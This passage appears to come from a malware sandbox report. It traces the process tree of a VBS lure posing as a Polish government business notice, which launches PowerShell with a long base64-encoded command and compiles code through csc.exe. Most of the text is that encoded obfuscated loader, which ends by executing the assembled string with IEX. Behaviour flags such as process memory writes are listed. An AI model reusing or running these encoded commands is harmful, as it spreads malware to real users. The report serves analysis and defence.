kAdgBPAEcAcgB1AGIAIABmAEYAcgBpAHMAZQBmAEMAbwBuAHMAcABzAEIAdQB0AGkAbgBjAFMAawBvAHIAcwBhAGsAbABvAHMAaAAxAFAAbwBsAHkAcAA5AEYAbABpAGcAcwA0AE0AbgBlAG0AbwApAE0AdQBsAHQAaQA7AAoAWABlAHIAbwB0AFsAUAB1AG4AdABzAEQARABpAGEAbQBvAGwAVgBhAG4AZABwAGwAdQBuAG0AYQBzAEkARQByAGgAdgBlAG0AQwBvAGcAbwBuAHAAUwBpAGsAcwBhAG8ARgBvAHIAawBsAHIATQBlAHQAcgBvAHQASgBhAHIAZwBvACgARABlAHYAbwB0ACIAQQBnAGUAbgBjAHcAVgBzAG0AYwAgAGkAUgBoAGUAaQBuAG4ATQBpAHMAdgBrAG0AUgBlAGsAbwByAG0ATgBvAG4AYgByAC4AdABlAGsAcwB0AGQAYQBuAHQAaQBrAGwAQQBmAGcAcgBuAGwARgBsAGUAawBzACIAUABhAHQAbwBnACkASABlAGEAcgB0AF0ASwBkAGUAYgByAHAAVgBlAGwAeQBuAHUAVABvAHIAcwBvAGIAQQBuAHAAYQByAGwATABlAGcAZQBuAGkAQQB0AGUAbABvAGMATQBpAGwAdgBpACAAVAByAGEAdgBvAHMAUABlAHIAaQBjAHQAcwBvAHIAYgBlAGEAVQBuAGQAZQByAHQAQQBmAHYAcgBnAGkAQgBhAHMAdABoAGMAQQBkAHIAZQBuACAAUABlAGMAawBlAGUAUABoAG8AdABvAHgAUABsAHUAbQBpAHQAZABhAHIAawBlAGUATABhAGEAcwBlAHIAUABhAHAAaQBvAG4AUwBpAGEAbABvACAAVQBuAGsAbgBvAGkARABlAG0AaQBsAG4ASAB5AHAAZQByAHQAUwB1AHAAZQByACAASABqAGUAbQBtAHcAUwBrAHkAZABrAGEAYQBiAHIAaQBrAHYAUwBwAG4AZABiAGUARgBlAHIAcgBpAE8AUABzAGUAdQBkAHUARgBsAGUAZQB0AHQAUwB1AGIAYQBjAFIASAB1AG4AZABlAGUARwBlAG8AZwByAHMARwByAHkAbgB0AHQARQBnAGEAbABpAGEAVQBoAHkAcgBsAHIATQB5AHQAaABvAHQAVABpAGwAdgBuACgARwB5AHAAcwB5AGkAUwBrAG8AdgBzAG4AUgBlAHMAcABlAHQARgByAG8AcwB0ACAASwBvAGwAZAB0AFMAQgByAG8AbwBtAHQAQwByAGUAYQBtAHIAUABlAGwAZQBjADEAQgBlAHMAaABvADUARgByAGkAbABhADEATABpAG0AYQBjACkARABlAHAAbwB0ADsACgBDAGgAbABvAHIAWwBJAG4AcwBlAGMARABwAGUAbgBzAGkAbABGAGwAbwBvAGQAbABUAGkAcABzAHQASQBUAGkAbABrAGEAbQBQAGUAcgBwAGUAcABWAGUAaABlAGYAbwBQAGwAdQBuAGcAcgBDAGEAZABhAHMAdABLAG8AcABpAHMAKABLAGEAbQB1AGYAIgBNAGkAcgBhAHQAawBIAGEAcgBwAGEAZQBLAGEAcABhAGMAcgBFAHAAaQBzAG8AbgBTAHQAZQBtAG0AZQBCAGUAdwByAGEAbABBAHIAYgBlAGoAMwBJAG4AZABlAGYAMgBCAGEAcwBnAHUAIgBTAHAAYQByAGkAKQBFAG4AZwBsAGUAXQBTAGUAagBsAGIAcABHAGEAbABnAGUAdQBVAHAAcwBsAG8AYgBKAHUAYgBpAGwAbABQAG8AcwB0AHYAaQBUAGUAbgBvAG4AYwBTAGEAbgBkAHMAIABSAGUAbABpAGsAcwBTAHAAYQBzAG0AdABUAHIAdgBlAG0AYQBHAHUAbABlACAAdABBAHIAbgBlAHMAaQBGAG8AbgBkAHMAYwBXAHIAYQBzAHQAIABEAGUAbABzAHQAZQBJAG4AdABlAHIAeABDAGEAcgBjAGkAdABBAGYAZgBlAGoAZQBTAGUAeAB1AGEAcgBCAGkAbgBkAGUAbgBVAG4AaAB5AGcAIABTAGEAbQBlAG4AaQBGAG8AcgByAGUAbgBVAGIAZQBoAGEAdABMAG8AcgBuAGEAIABTAGsAbwBsAGUARwBFAHAAaQBzAGMAZQBNAGkAcwByAGUAdABOAGkAegB5ACAARgBNAGkAbABqAGIAaQBUAHIAYQBjAGgAbABDAGUAcwB0AG8AZQBSAGUAcgBzACAAVABQAGkAcgBhAHQAaQBTAGsAcgBhAGEAbQBNAGEAZwBuAGUAZQBjAHkAbgBvAHAAKABTAHAAcgBvAGcAaQBhAGMAdABpAG8AbgBTAGwAbwB2AGEAdABBAGsAdQB0AGkAIABSAGUAYQBkAHYARgBQAHIAZgBlAHIAYQBVAG4AZABlAHIAcgBUAHkAbQBwAGEAdABQAHIAZQBzAHMALABvAHYAZQByAGQAaQBVAGQAcwBhAGwAbgBSAGUAZwBhAHIAdABiAGkAbwBjAGUAIABGAGEAbgBjAGkATQBSAGUAZABvAG8AdQBWAGUAZwBlAHQAdABQAG8AbABsAHUAYQBQAHIAZQBtAG8AdABBAHQAbABhAHMAaQBSAG8AbQBiAGkALABNAGEAcgBhAHYAaQBFAGsAcwBlAGcAbgBjAGUAbgB0AHIAdABUAHIAYQBuAHMAIABUAGkAbAB0AGUAQgBUAGkAZQBzAHQAaQBLAGUAbgBuAGUAZgBTAGkAZABlAG8AYQBBAGEAcgBnAGEAbABCAGEAeQBiAGUALABOAG8AbgBjAG8AaQBLAHYAYQBsAGkAbgBQAGUAZQByAGEAdABGAGEAYwB0AGkAIABDAGUAbgB0AHIAUwBVAGQAaAB2AGUAZQBFAHgAaABhAGwAbgBFAG4AcgBhAHAAKQBTAHkAbgBvAHMAOwAKAEcAZQBjAGsAaQB9AAoARQB4AGMAZQBuACIAUAByAG8AZwBlAEAACgBCAG8AcgB0AGYAJABBAG4AaQBtAGUAYwBCAGwAbwBtAHMAZQBBAGEAYgBuAGUAbABQAGEAcgBjAGUAbABMAGEAbgBkAGUAbwBUAHMAawBlAHMAMwBMAGkAbABqAGUAPQBEAHIAeQBvAHAAWwBCAGEAdAB0AGUAYwBHAG8AZABrAGUAZQBEAHkAcwBwAGUAbABCAGEAbgBkAGwAbABMAGEAdwB5AGUAbwBUAGEAZwBkAGsAMQBXAGkAZQBuAGUAXQBPAG4AbABhAHkAOgBHAHIAdQBwAHAAOgBTAG4AdQBmAGYAVgBQAGEAcgBhAHQAaQBHAGUAbwB0AGEAcgBEAGkAcwBnAHIAdABTAHUAYgB0AHIAdQBTAHkAbgB0AGEAYQBEAHkAbgBhAG0AbABOAG8AcgBpAGMAQQBHAG8AZABzAGUAbABiAG8AbABpAGcAbABTAGsAYQB0AGkAbwBGAHIAYQBzAGkAYwBMAGUAagBlAGIAKABGAG8AcgBmAHIAMABCAGwAbwBkAGEALABCAGwAYQBuAGsAMQBWAG8AbQBpAGMAMABBAGcAZQBuAGUANABKAG8AawBlAHIAOABCAG8AcgB0AHMANQBQAGEAcgB0AGkANwBDAG8AbgBkAHUANgBVAG4AbABhAGIALABHAHIAYQBuAGQAMQBDAGkAcgBjAHUAMgBGAG8AcgBnAGEAMgBTAHUAcABlAHIAOABJAG4AYgByAGUAOABBAG4AdABpAGUALABUAHIAYQBwAGUANgBKAGkAYgBiACAANABEAGEAdABhAHMAKQAKAFIAZQB0AHIAYQAkAEIAYQBhAGQAcwBHAEQAaQBvAHAAaABsAE0AaQBzAHcAcgBvAEQAdQBrAGgAbwBlAEkAbgBvAGIAcwBkAEsAdgBhAGQAcgAyAFMAdQBiAGMAbwAwAEQAawBrAGUAdAA3AFYAZQBkAGwAZwA9AEEAcgBiAGUAagAoAEYAbwByAG0AYQBHAEIAZQBsAGEAcwBlAEoAbwBoAGEAbgB0AEQAeQBwAHAAZQAtAE8AYgBiAGwAaQBJAFAAbABvAHQAdAB0AEcAbwBrAGEAcgBlAFAAcgBvAHMAbwBtAFMAbQBhAGEAYgBQAEEAcgBhAGIAaQByAGIAZQBlAGYAYwBvAE4AeQB0AGUAcwBwAEIAcgBvAHYAYQBlAEUAawBzAGUAawByAFIAZQBmAGwAZQB0AFQAbwBwAG4AZwB5AEIAYQBuAGUAYgAgAFMAdAByAGEAbgAtAFMAawByAGEAcABQAEEAdQB0AG8AcwBhAE0AdQBzAHQAZQB0AEgAeQBkAHIAbwBoAEMAcgBlAGEAdAAgAFMAYwBvAHIAbgAiAEUAcgBuAHIAaQBIAEEAbQBtAGUAcwBLAEMAaQB2AGkAbABDAFMAdAB0AHkAcwBVAGkAbgBmAHIAYQA6AFIAaQBiAGIAZQBcAEUAcABpAGcAZQBTAEMAdQBjAHUAbQBvAEIAdQBjAGsAbABmAE4AaQB0AG8AbgB0AEQAbwBlAGQAZQB3AEYAYQBiAHIAaQBhAEMAbwBwAGEAbAByAFMAYQBsAHQAcABlAFMAYwBoAGEAdgBcAEQAaQB0AGgAZQBHAEEAZAByAG8AcABlAGgAYQByAGQAdwBtAEQAaQByAGwAZQBpAFIAdQBtAGYAYQBuAFMAaQBnAG4AYQBhAE4AZQBzAHQAaQB0AFQAaQBsAHMAdgBlAFAAYQBsAGEAdABxAEEAcABwAGUAbAAiAFIAYQBnAGwAYQApAEUAeABjAG8AbQAuAFUAZABtAGEAZQBBAFAAcgBpAGsAbQBmAEkAbgBzAHAAZQB2AEEAZgBtAGcAdABhAEQAbwBlAHIAZQBsAE8AeAB5AGcAZQBtAFUAbgB0AHIAYQBpAEQAagBlAGwAbABuAEgAbwByAG4AdwBnAFMAZQBwAHQAZgBkAAoAUwBsAHUAdAB0ACQARQBqAG8AbABmAFkAUwB0AGEAaQB0AHAAcgB1AGIAaQBhAHAAUwBoAG8AbwAgAGUARwBvAGEAZABsAHIATQBvAHIAZQBzAHMAVQB0AG0AbQBlAHQARgBhAG0AbwB1ACAAUgBhAHAAcwBjAD0ASwBsAGkAbgB0ACAAQQBuAHMAZwBlAFsARwBnAGUAbQBhAFMAVQBuAGQAaQBmAHkAZABlAGYAYQBpAHMATQBhAGsAcgBlAHQAcABvAHAAawBvAGUASwBhAGwAawB2AG0AVQBuAGUAbQBiAC4AQgBlAG4AZQBhAEMAQwBvAHIAbwBuAG8AYwBvAGwAbwByAG4ATQBlAG0AbwByAHYAQQBlAGcAZQByAGUAUwBwAGUAagBsAHIASwBvAG0AcABsAHQATwB2AGUAcgBzAF0AVQBuAGUAbQBwADoAUwBsAHUAawBrADoAVABlAGUAdABoAEYAUwB0AGEAbgBkAHIATgBhAHQAdABlAG8AZgBvAHIAcwBpAG0AVAByAGkAbwBuAEIAQQBjAHIAbwBjAGEAagB1AGIAaQBsAHMARABvAG4AZQByAGUAQgByAGEAbgBjADYARABlAGEAawB0ADQARgBhAHUAbgBhAFMAYwBpAHIAYwB1AHQAUABvAGUAdABhAHIAVAByAGEAdQBtAGkAUgBlAGMAbwBuAG4ASwBlAHIAbgBlAGcAYwBlAHIAYQByACgAUAByAG8AYgBsACQAQQB2AG8AaQBkAEcAUwBwAGkAcgBhAGwAQQBnAHIAYQBtAG8AdgBlAGcAZwBpAGUAVABpAG0AZQB0AGQATQBpAGsAcwB0ADIAQgBnAGUAYgBsADAASABqAGUAbQBsADcARABpAHMAcwBlACkACgBKAGUAdwBpAG4AWwBCAGUAcAB1AGQAUwBTAGMAbwBsAHkAeQBIAGEAcgBtAG8AcwBjAGEAdABoAGUAdABIAGoAZQBtAG0AZQBJAGIAcgB1AGcAbQBBAGQAagB1AG4ALgBNAGkAbABqAGIAUgBCAHIAZQB0AGEAdQBMAGkAdgBzAGEAbgB0AGUAbQBwAG8AdABLAHIAZQBkAGkAaQBDAG8AbgB0ACAAbQBVAG4AaQBrAGEAZQBTAGEAYwByAG8ALgBmAGwAbwByAG0ASQBIAG8AbQBvAGcAbgBSAGUAagBzAGUAdABEAGUAbABpAGMAZQBmAGUAbQBpAG4AcgBKAHMAIABJAGwAbwBCAGEAawBlAG4AcABNAGkAYQBzACAAUwBBAGEAYgBlAG4AZQBUAHIAaQBuAG8AcgBSAG8AbwBmAGwAdgBEAGUAcAB1AHIAaQB1AG4AZQBuAGEAYwBJAHMAbwBsAGEAZQBzAHQAcgBpAGsAcwBBAHUAdABvAGcALgBpAG4AZgBhAG4ATQBVAHIAZQB0AGUAYQBVAG4AbgBvAHUAcgBMAGUAZQBmACAAcwBPAHUAdABuAHUAaABQAHIAbwBnAHIAYQBSAGcAbgBpAG4AbABGAG8AbABrAG0AXQBSAGUAZgB1AGwAOgBQAGUAYQB0AGkAOgBhAG4AcwB0AGkAQwBWAGEAYQBiAGUAbwBUAGEAbgBrAGUAcABGAHkAcgByAHUAeQBVAGQAdABtAG0AKABJAG4AZgBlAGsAJABNAGEAbgBlAGwAWQBBAGwAdgBvAHIAcABHAG8AZABkAGUAcABSAGUAawB1AHIAZQBXAGEAeAB3AG8AcgBSAGUAcwB0AHMAcwBCAGwAZQBwAGgAdABDAG8AbgB0AHUALABGAG8AcgBtAGEAIABLAG8AawBlAHQAMAB1AG4AYwBvAG0ALABNAGkAcwBzAHQAIABTAGwAbwB2AGUAIABGAHIAZABlAG4AJABUAGUAYwBoAG4AYwBLAG4AdQBzAGUAZQBlAHQAZQByAG4AbABHAGkAbgBnAGUAbABGAHIAaQBoAGEAbwBwAHIAbwBnAHIAMwBQAG8AbgBlAHIALABSAGUAdABzAHMAIABTAHQAcgBhAGEAJABNAGEAcwB0AGUAWQBEAGUAcAByAGUAcABEAHIAaQBmAHQAcABQAHUAegB6AG8AZQBUAHIAYQBwAHAAcgBwAGwAYQBkAGUAcwBVAG4AaQBzAG8AdABVAGQAbABhAGEALgBUAHUAYgBlAHIAYwBSAGUAdABpAHAAbwB2AGUAZABiAGwAdQBUAGUAZwBuAGkAbgBIAGUAbAB0AGUAdABzAHQAYQBnAG4AKQBTAHQAbwByAGUAOwAKAFQAaQBwAHMAcwBbAFoAbwBtAGIAYQBjAFMAbAB1AGcAZwBlAGIAcgBhAGsAcABsAFMAdAByAGkAawBsAFMAdAByAGEAdABvAEYAbwByAHMAaQAxAFAAaABhAGMAbwBdAG8AcwB0AGUAcgA6AE0AYQByAGkAbgA6AEYAbwByAGIAcgBFAFIAbwBrAGsAZQBuAE4AbwBuAGEAcAB1AEkAbgB0AGUAcgBtAFQAaABlAGEAdABTAEcAaQBiAGIAaQB5AEMAbwBsAG8AbgBzAGEAcABwAHIAbwB0AEEAawB2AGQAdQBlAE4AbwBuAHIAZQBtAFAAcgB1AHMAcwBMAEUAeAB0AGUAcgBvAEcAZQBuAGIAZQBjAFcAaABlAGUAcgBhAEIAdQByAGcAaABsAEIAcgBvAHQAaABlAE8AcABzAHAAYQBzAFAAYQBuAG4AaQBBAEgAeQBwAGUAcgAoAFIAZQBuAHIAaQAkAFQAbQBuAGkAbgBjAFQAaABpAG4AZwBlAFYAaQBzAHQAbwBsAFMAdQBiAHMAaQBsAFMAeQBtAGIAYQBvAEIAcgBkAG4AaQAzAE4AZQBkAHYAcgAsAEUAawBzAHAAbwAgAFIAZQBkAGUAbQAwAFUAbgBkAGUAcgApAFMAbQBhAHIAYQAjAAoAJwBAAA0ACgANAAoADQAKAEYAbwByACgAJABpAD0ANQA7ACAAJABpACAALQBsAHQAIAAkAEEAbABlAG0AaQB0AGUAYQBkAC4ATABlAG4AZwB0AGgALQAxADsAIAAkAGkAKwA9ACgANQArADEAKQApAA0ACgB7AA0ACgAJAA0ACgAJACQAdgBvAGwAdABlACAAPQAgACQAdgBvAGwAdABlACAAKwAgACQAQQBsAGUAbQBpAHQAZQBhAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMQApAA0ACgAJAA0ACgAJAGkAZgAgACgAJABBAGwAZQBtAGkAdABlAGEAZAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACsAMQAsACAAMQApACAALQBlAHEAIAAiAGAAbgAiACkAIAB7AA0ACgAJAAkAJAB2AG8AbAB0AGUAIAA9ACAAJAB2AG8AbAB0AGUAIAArACAAIgBgAG4AIgANAAoACQAJACQAaQAgAD0AIAAkAGkAIAArACAAMQANAAoACQB9ACAACQANAAoACQAJAA0ACgAJAA0ACgB9AA0ACgANAAoADQAKAEkARQBYACAAJAB2AG8AbAB0AGUADQAKAA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\akrkh2l1\akrkh2l1.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5080
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE6DA.tmp" "c:\Users\Admin\AppData\Local\Temp\akrkh2l1\CSCA85C76229F9F43BB9B2F2E1DA597F71.TMP"
      4⤵
      PID:4872

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:212

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Biznes.gov.pl - NOWE POWIADOMIENIE.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3572
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -e "JABBAGwAZQBtAGkAdABlAGEAZAAgAD0AIABAACcADQAKAEEAZgBkAGEAbQBBAEwAaQBuAGoAZQBkAEIAbwByAHQAcwBkAGUAdQBmAG8AcgAtAFAAYQBzAHQAaQBUAHMAcABhAGQAYQB5AFAAcgBlAGoAdQBwAEEAYwByAG8AYwBlAEIAZQBmAGEAZQAgAGgAZQBsAGkAbwAtAFMAYQBkACAARgBUAEoAaQBsAHQAZQB5AFQAcgBhAG4AcwBwAEwAbgB0AGkAbABlAGgAbwB2AGUAZABEAFUAbABlAGoAbABlAEsAcgBlAGQAaQBmAFQAbQBtAGUAcgBpAFMAdQByAGgAZQBuAGQAZQBwAG8AbABpAFQAcgB5AHMAdAB0AEMAcgBvAHMAcwBpAE8AdgBlAHIAdABvAE8AdgBlAHIAbQBuAE8AbQBuAGkAYgAgAGMAbwBuAGcAZQBAAEkAcwBjAGUAbgAiAAoAUgBlAGYAcgBlAHUAUgBlAHMAcABpAHMAcwBrAGEAbgBkAGkATABhAG0AZQBuAG4AcgBvAG0AYQBuAGcAUwBoAG8AdQBzACAAQQBmAGUAbgBpAFMASABlAGwAbABlAHkAQwBvAG4AcgBhAHMAVABoAGkAZwBtAHQAQQBuAHQAaQBoAGUAUwB0AGEAdABpAG0AUwBvAHYAZQBwADsACgBpAGsAdAB5AG8AdQBLAG4AeQB0AHQAcwBjAG8AbQBwAHUAaQBEAGkAcwBlAG4AbgBBAGQAZQBsAHMAZwBHAGUAbgBuAGUAIABTAHIAbABpAG4AUwBQAGEAcgBzAG8AeQBVAG4AYQBzAHAAcwBGAHkAcwBpAHUAdABJAG4AdABlAHIAZQBNAGUAdABhAGwAbQBVAG4AcgBlAGYALgBXAGEAcwBhAGIAUgBDAGEAdgBlAHIAdQBUAGUAcgByAG8AbgBIAGUAcgByAGUAdABBAGYAcwB0AG4AaQBQAHIAZQBkAGUAbQBCAGUAZAB1AGkAZQBIAG8AbgBuAGkALgBQAG8AcwBlAG4ASQBBAG4AYQBuAHQAbgBXAGkAbgBuAGUAdABMAHUAZgB0AGgAZQBVAG4AZAB1AGwAcgBTAGsAaQBuAGQAbwBVAHMAeQByAGUAcABBAGYAZwByAGkAUwBBAHUAcgBlAG8AZQBuAGUAdQByAG8AcgBQAGgAZQBhAHMAdgB0AHIAYQBnAGkAaQBhAGwAZgBhAGUAYwBVAGQAcgBqACAAZQBSAGkAbgBnAG4AcwBiAGkAYgBsAGkAOwAKAEEAdQB0AG8AbgBwAEIAZQBzAHQAeQB1AGsAcgBhAG4AZQBiAEcAdQBsAGQAYQBsAFQAYQBuAHQAZQBpAE8AdQB0AGIAdQBjAEQAcgBpAGYAdAAgAEsAbwBuAHMAdABzAFIAZQBtAGEAcgB0AFIAYQBwAHMAbQBhAHMAcABsAGUAbgB0AEYAZQBzAHQAcwBpAFUAZABmAGwAZABjAEYAcgBhAHQAZQAgAFMAcABhAGQAZQBjAEIAcgBpAG4AdABsAFAAbwBjAGgAZQBhAE0AdQBsAHQAaQBzAEYAbwByAHMAdABzAFMAawBsAHMAawAgAEYAbwByAHMAdABjAFMAdAByAGEAbgBlAE0AZAByAGUAaABsAEwAZQBhAGQAcwBsAGkAbQBkAGUAZwBvAFcAaQBsAGwAbwAxAAoAUgBlAGwAaQBlAHsAQgBvAGIAYwBhAFsASwB1AGwAZQBnAEQAVAByAGEAZgBpAGwARwB1AGQAZQBsAGwASABqAG8AcgB0AEkASwBlAHIAbgBlAG0ASwByAGEAbgBpAHAAQwBpAHYAaQBsAG8ATgBvAG4AZwBhAHIASwBhAHQAYQBzAHQARABpAHMAcwB3ACgAQgBlAGEAdQBmACIATQBpAHMAcwBpAEEARgByAGkAZwBqAEQASAB5AHAAaABlAFYARQBuAGQAYQBuAEEAUwB2AHIAZABzAFAAUAByAGUAYwBvAEkARgBvAHIAZABsADMARQBmAHQAZQByADIAUwBuAGUAbQBhAC4ARQBuAHMAdwBhAEQAQQBiAGMAZQBuAEwARgBlAGwAZABzAEwAYQByAGIAZQBqACIATABsAGkAbgBnACkASQBjAGgAbgBlAF0AVABhAGMAaAB5AHAAVQBuAGQAZQByAHUASwBuAHMAYgBlAGIAQgB1AG0AcwBlAGwAUgBlAGgAYQByAGkAQgByAHQAcwBlAGMARABvAHoAZQBuACAAbQBhAGkAcwB0AHMAQgBlAGgAZQByAHQARwBlAGkAcwBzAGEATQBlAGkAbwB0AHQAUwBrAG8AbABlAGkAYgBvAHMAdABlAGMARQBzAG8AcABoACAAVgBlAG4AcwBrAGUAQwByAGkAYgByAHgARAB1AG8AYwBvAHQARQBuAGEAcgB0AGUASwBrAGsAZQBuAHIATQBhAHIAZwBpAG4ARwBhAHIAdgBlACAAVAByAGsAdQBsAGkASwBpAHQAdABpAG4AdQBuAHMAZQBuAHQAQgBpAG8AZgBhACAARABpAHIAaQBnAFIAQQBmAGsAbABpAGUAQgByAGEAcwBlAGcARwBhAHIAbgBlAEQAUgBhAHAAcwBtAGUAQwBhAHIAaQBuAGwAQgByAG4AZABzAGUAQQB6AGkAbwBsAHQAcAByAG8AZgBlAGUAbgBvAHQAbwBjAEsAQwB5AGwAaQBuAGUAUwBrAHIAaQB2AHkAVgBhAGEAZwBuACgASQBuAHQAaQBtAGkARgBlAGQAZQByAG4AVAByAGkAdgBlAHQAcwBwAGUAYwBpACAAcgBvAHMAZQBhAFMATQBhAGsAcgBvAGwARgBpAG4AZABqAHUASgBlAG4AdAByAHQAQwBvAG0AaQBjACwASwB1AG4AZABlAGkAcABzAGUAdQBkAG4AQgBlAGwAZwBuAHQAVABpAGwAcwB0ACAAUABhAHIAdABsAE4AUwBrAG0AdABlAG8ASABlAGwAcwBpAG4ATQBhAHQAcgBpACkAUwB0AGkAZwBtADsACgBTAHcAaQBzAHMAWwBlAHIAcwB0AGEARABGAHUAbgBrAHQAbABQAGgAYQBzAGkAbABkAGUAbABzAHQASQBCAGUAZABrAG4AbQBDAG8AeQBwAG8AcABTAHYAYQBuAHMAbwBIAGkAbABzAGUAcgBBAGQAZQBuAGEAdABEAGkAcwBwAHIAKABTAGUAeABvAGwAIgBuAG8AbgByAGUAawBPAHYAZQByAGQAZQBLAG8AbwByAGQAcgBHAGUAbgBmAG8AbgBTAGEAYgByAGUAZQBIAG8AbQBlAGIAbABUAHMAawAgAFAAMwBTAGsAbwB2AHMAMgBBAGMAcgBhAGwAIgBDAGgAYQBwAGUAKQBpAG4AZABiAHkAXQBGAG8AcgBlAHMAcABTAG8AYwBpAG8AdQBlAG4AdABlAHIAYgBCAHIAYQBjAGUAbABUAGEAawBrAGUAaQBJAHMAbABhAHkAYwBTAHUAbQBtAGUAIABTAGwAaQBwAGMAcwBTAHAAZQByAGcAdABNAGEAcgBiAGwAYQBUAHYAYQBuAGcAdABCAHIAZQBjAGgAaQBBAGsAawB1AHMAYwBJAHAAbQAgAEQAIABTAGsAaQBuAGQAZQBBAGIAcwB1AHIAeABGAHUAbABkAGIAdABhAHIAYgBlAGoAZQBIAGUAdABlAHIAcgBHAG8AYQB0AHAAbgBSAGUAdgBlAHIAIAB1AGQAYgB5AHQASQBUAGEAbABvAG0AbgBKAGkAbQBtAHkAdABQAHMAeQBjAGgAUABTAHQAaQBsAGwAdABWAGkAawBpACAAcgBLAG8AbgB0AHIAIABCAHIAdAB0AGUARQBSAGUAdAByAGEAbgBUAHIAYQBjAGgAdQBPAHIAZAByAGUAbQBQAGEAbgBkAGEAUwBQAHIAbwBiAGwAeQBUAHUAcwBrAGgAcwBOAG8AbgBjAG8AdABBAGYAdABlAHIAZQBHAHIAZQBuAGEAbQBEAG8AcwBhAGcATABHAGEAbQBiAGkAbwBDAG8AdQBuAHQAYwBSAGUAbgBzAGQAYQBCAGEAcgBvAG0AbABXAGgAbwBzAGkAZQBQAHIAZQBzAHQAcwBMAGUAcABpAGwAQQBWAGUAbAB2AGUAKABPAHAAdgBhAHIAdQBTAGgAbwB1AGcAaQBUAHIAZABlAHMAbgBtAG8AbQBtAGEAdABCAGwAYQBhAGwAIABBAHIAaQBzAHQAdgBBAG4AaQBzAGIAMQBTAHUAYgBsAGkALABGAGkAbgBwAHUAaQBNAG8AYQB0AGUAbgBBAGYAYQBzAGkAdABDAGgAYQBtAHAAIABVAG4AZwByAHUAdgBTAHQAZQBkAGIAMgBNAGUAbABsAGUAKQBQAGgAeQBzAGkAOwAKAE0AbwBuAHUAbQBbAE8AeAB5AGcAZQBEAFAAZQB0AGUAeQBsAE8AcABnAGEAdgBsAEEAZgBtAGUAagBJAHUAbgBkAGUAcgBtAFQAbwBhAGQAcABwAFMAdABpAGcAbQBvAEsAdQBsAGQAZQByAEMAeQBtAHUAbAB0AFMAawBpAGYAZQAoAEsAYQB0AGEAbAAiAFMAaQBuAHQAZQB1AFQAYQBiAGUAbABzAEYAbwByAGQAYQBlAEIAbwBlAHIAIAByAEIAbABhAGMAawAzAEUAcABpAGcAcgAyAEEAbABhAG4AcwAiAEQAcgBpAGYAdAApAEwAdgBmAHIAIABdAEgAdQBtAGUAYQBwAFIAbwBhAGQAYwB1AEkAbgB0AGUAcgBiAFIAZQB2AGEAbABsAFUAZABhAG4AbgBpAG8AcABzAGwAbQBjAFoAYQBuAGkAbgAgAEMAcgBvAGMAawBzAEsAYQB0AGUAZAB0AEMAbABpAG4AaQBhAFYAYQBsAGUAcgB0AEgAaQBuAHQAZQBpAE0AbwBuAGcAcgBjAEEAcwB0AHIAbwAgAEYAbAB1AGYAZgBlAFAAcgBlAGcAcgB4AFQAaAByAGkAbgB0AEYAcgBhAHoAZQBlAEsAcABwAGUAbgByAFIAaQBnAGgAbwBuAFUAZABlAG0AaQAgAEYAaQByAG0AYQBpAEkAbQBkAGUAZwBuAFMAZQBsAHMAawB0AEcAaQBsAGIAZQAgAE0AaQBkAHcAaQBEAE0AaQBzAGIAZQBkAEkAbQBwAG8AdgBlAFIAZQBuAHMAZABHAFUAbgBzAGwAYQBlAEIAZQByAGUAdAB0AFIAbwB1AHAAaQBMAFUAbgBkAGUAcgBhAEgAbwBsAHkAZABzAFEAdQBhAGQAcgB0AHMAcABpAGwAZABFAEYAbwBkAGUAcgByAFAAYQB1AHAAZQByAE8AdgBlAHIAdgBvAEgAbwB2AGUAZAByAEMAYQBsAHYAYQAoAEIAYQByAGkAdQBpAEEAZgB0AGUAbgBuAEIAZQBuAHoAYQB0AGcAZQBvAGcAcgAgAG8AdQB0AHMAcABIAEMAaABpAGwAaQBqAHAAZQByAGMAZQBsAEkAbgBkAGIAcgApAEIAbwByAHQAcwA7AAoAVQBuAGQAcgBpAFsARQBzAHQAbwBuAEQARgBlAGwAdABoAGwAQQB1AHQAbwBvAGwAQgByAGUAdAAgAEkARQBmAHQAZQByAG0AcAByAGUAYgBlAHAAVQBuAG4AbwBjAG8ATABhAGcAZQByAHIATgBvAG4AbwBiAHQAUwB1AHMAcABlACgAVABlAGsAcwB0ACIAQQBpAHIAYwByAHUAUwBuAHUAcgByAHMARQB4AGMAbABhAGUAVwBhAGcAZwBvAHIAVABlAHAAbwBzADMARQBrAHMAdABlADIASwBpAG8AcwBrACIATABhAHMAdABuACkARABpAGwAYQB0AF0AUwB5AG4AbwByAHAAawB1AGwAdAB1AHUAUwBjAHIAZQBlAGIARgBvAHIAcwB0AGwAQgB1AHMAaABsAGkAUgB1AHMAdABrAGMAUABzAGUAbABhACAATQB1AGwAdABpAHMAVAByAGkAYwBoAHQAQgBlAHYAcgB0AGEAVABpAGwAcwBrAHQAcABvAHIAdABpAGkATAB1AG0AcABpAGMASABhAGwAaQBvACAAUAByAGUAdgBlAGUAQQByAGIAZQBqAHgAQQBjAGMAdQBzAHQATwByAHQAaABvAGUAUgBlAHYAZQBhAHIARwB1AG4AdABlAG4AUwBwAGEAbAB0ACAARgB1AHQAdABlAGkAQQBuAGQAZQBuAG4AQgBvAG4AcwBlAHQARABvAHIAYQBzACAATABpAG0AbgBlAFMARABlAHMAdABhAGUAVgBlAG4AZQByAHQAVwBlAGwAYwBoAFMARAB1AGwAYwBpAHkAQQBmAGYAaQBuAHMAQQBuAHgAaQBvAEMATABkAHIAZQByAG8AUABvAGkAcwB0AGwAUwB0AHIAYQBhAG8ARg